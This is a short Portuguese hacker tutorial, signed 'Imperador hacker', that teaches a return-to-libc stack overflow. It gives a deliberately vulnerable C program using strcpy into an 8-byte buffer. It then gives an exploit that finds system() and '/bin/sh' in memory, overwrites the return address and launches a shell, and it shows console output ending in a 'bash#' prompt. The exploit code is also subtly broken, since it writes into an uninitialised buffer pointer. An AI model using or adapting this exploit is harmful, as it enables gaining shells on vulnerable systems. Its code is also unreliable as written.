|
Este
projeto visa criar uma nova maneira de se escrever exploits, sem
precisarmos criar uma porra de um shellcode nem tentarmos varios offsets,
etc...
Mas como issu funcionaria???
A Cyber9 te diz eh o seguinte...
No metodo comum de exploitar, reescrevemos o RET ADDR para que ele seja
direcionado ao inicio do buffer e assim execute o shellcode.
Neste novo metodo direcionamos o RET ADDR para o address da funcao
system() e assim possamos executar um /bin/sh por exemplo.
Vamos colocar um prog vulneravel primeiro:
<++>
omega/vuln.c
main(int
argc, char **argv)
{
char buf[8];
if(argc > 1) strcpy(buf, argv[1]);
}
<-->
Esse programa pode ser facilmente exploitado do metodo basico, mas
vamos ver como faze-lo baseado neste projeto...
(Veja os comentarios).
<++>
omega/ex.c
#include
<stdlib.h>
#include <dlfcn.h>
main(int
argc, char **argv)
{
int a,b;
char *buf;
long addr,shell,i;
void *handle;
//
Procura pelo system() na libc.
handle = dlopen(NULL,RTLD_LAZY);
addr = (long)dlsym(handle,"system");
//
Procura por "/bin/sh" a partir do address do system().
shell = addr;
while(memcmp((void*)shell,"/bin/sh",8))
shell++;
//
Vamos fazer o buffer (de 24 bytes).
memset(buf,0x41,24);
//
Veja a manha aki...
*(long *)&buf[12] = addr; // system()
*(long *)&buf[20] = shell; // arg1 ("/bin/sh");
execl("vuln","vuln",buf,0x0);
}
<-->
Agora vamos ver c funciona direito...
~#
gcc ex.c -o ex -ldl
~# gcc vuln.c -o vuln
~# ./ex
Illegal Instruction (core dumped)
Duh!!!
Vamos tentar assim...
~#
gcc vuln.c -o vuln -ldl
~# ./ex
bash#
Blza intaum!!!
Realmente funfa mas tem suas exigencias... O exploit soh funciona
quando o programa vulneravel eh compilado com suporte a library dl. :P
Issu eh tudo.
BY
Imperador hacker
|